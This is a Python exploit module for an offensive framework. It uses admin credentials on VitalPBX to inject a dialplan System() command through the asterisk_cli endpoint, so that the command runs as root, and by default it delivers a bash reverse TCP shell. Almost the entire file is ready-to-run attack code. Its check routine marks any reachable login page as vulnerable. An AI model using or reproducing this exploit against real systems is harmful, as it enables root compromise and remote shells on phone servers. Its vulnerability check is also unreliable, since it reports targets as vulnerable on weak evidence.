VitalPBX asterisk_cli System() root RCE

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""VitalPBX asterisk_cli dialplan System() root privilege escalation."""

from __future__ import annotations

import json
import re
import time
from urllib.parse import urlencode

from kittysploit import *
from lib.exploit.handler import Handler
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client, Handler):
    __info__ = {
        "name": "VitalPBX asterisk_cli System() root RCE",
        "description": (
            "Authenticated admin POST index.php asterisk_cli runCommand adds "
            "dialplan System() extension and originates a call to run as root."
        ),
        "author": ["KittySploit Team"],
        "platform": Platform.LINUX,
        "arch": [Arch.CMD],
        "payload": {
            "default": "payloads/singles/cmd/unix/bash_reverse_tcp",
            "platform": Platform.UNIX,
            "category": PayloadCategory.CMD,
        },
        "references": [],
        "tags": ["vitalpbx", "rce", "privesc"],
        "agent": {
            "risk": "critical",
            "effects": ["active_exploitation", "remote_code_execution"],
            "expected_requests": 4,
            "reversible": False,
            "approval_required": True,
            "produces": ["rce", "shell"],
            "chain": {
                "suggested_followups": ["scanner/http/vitalpbx_asterisk_cli_root_rce_detect"],
            },
        },
    }

    port = OptPort(8060, "VitalPBX HTTP port", required=True)
    ssl = OptBool(False, "Use HTTPS", required=False)
    username = OptString("admin", "Web admin username", required=True)
    password = OptString("", "Web admin password", required=True)
    extension = OptString("9999", "Dialplan extension number", required=False)
    dialplan_context = OptString("rcectx", "Dialplan context name", required=False)

    def _login(self) -> tuple[str, str]:
        self.http_request("GET", "/index.php?class=login", session=True)
        body = urlencode(
            {
                "class": "login",
                "method": "authenticate",
                "user": str(self.username or "admin"),
                "password": str(self.password or ""),
            }
        )
        resp = self.http_request(
            "POST",
            "/index.php",
            data=body,
            headers={
                "Content-Type": "application/x-www-form-urlencoded",
                "X-Requested-With": "XMLHttpRequest",
            },
            session=True,
        )
        csfr = ""
        if resp:
            try:
                j = resp.json()
                csfr = str(j.get("csfr_token") or j.get("csrf_token") or "")
            except Exception:
                pass
        if not csfr:
            r2 = self.http_request(
                "POST",
                "/index.php",
                data=urlencode({"class": "user_profile", "method": "get"}),
                headers={
                    "Content-Type": "application/x-www-form-urlencoded",
                    "X-Requested-With": "XMLHttpRequest",
                },
                session=True,
            )
            if r2:
                try:
                    csfr = str(r2.json().get("csfr_token") or "")
                except Exception:
                    pass
        sid = ""
        if resp and resp.cookies:
            sid = str(resp.cookies.get("sid") or "")
        return sid, csfr

    def _run_cli(self, sid: str, csfr: str, cli_cmd: str) -> tuple[int, str]:
        body = urlencode(
            {
                "class": "asterisk_cli",
                "method": "runCommand",
                "mode": "get",
                "data": cli_cmd,
                "csfr_token": csfr,
            }
        )
        headers = {
            "Content-Type": "application/x-www-form-urlencoded",
            "X-Requested-With": "XMLHttpRequest",
        }
        if sid:
            headers["Cookie"] = f"sid={sid}"
        resp = self.http_request("POST", "/index.php", data=body, headers=headers, session=True)
        if not resp:
            return -1, "request failed"
        return int(resp.status_code or 0), resp.text or ""

    def execute(self, cmd: str) -> str:
        sid, csfr = self._login()
        if not csfr and not sid:
            return "login failed — check credentials"
        ext = str(self.extension or "9999")
        ctx = str(self.dialplan_context or "rcectx")
        add_cmd = f"dialplan add extension {ext},1,System({cmd}) into {ctx}"
        code, body = self._run_cli(sid, csfr, add_cmd)
        if "success" not in (body or "").lower():
            return f"dialplan add failed HTTP {code}: {body[:500]}"
        time.sleep(1)
        ori_cmd = f"channel originate Local/{ext}@{ctx} application hangup"
        code2, body2 = self._run_cli(sid, csfr, ori_cmd)
        return f"add: HTTP {code}\noriginate: HTTP {code2} {body2[:500]}"

    def check(self):
        resp = self.http_request("GET", "/index.php?class=login")
        if resp and int(resp.status_code or 0) < 500:
            return {
                "vulnerable": True,
                "reason": "VitalPBX login reachable",
                "confidence": "low",
            }
        return {"vulnerable": False, "reason": "VitalPBX not reachable", "confidence": "low"}

    def run(self):
        shell = self.shell_from_payload()
        if not shell:
            print_error("Set payload")
            return False
        if not str(self.password or "").strip():
            print_error("Set admin password")
            return False

        chk = self.check()
        if not chk.get("vulnerable"):
            print_error(chk.get("reason", "Target not ready"))
            self.not_vulnerable()
            return False

        print_status("asterisk_cli dialplan System() chain")
        print_info(self.execute(shell))
        self.vulnerable()
        blind = bool(re.search(r"reverse|bash|/dev/tcp|nc ", shell, re.I))
        return True if blind else True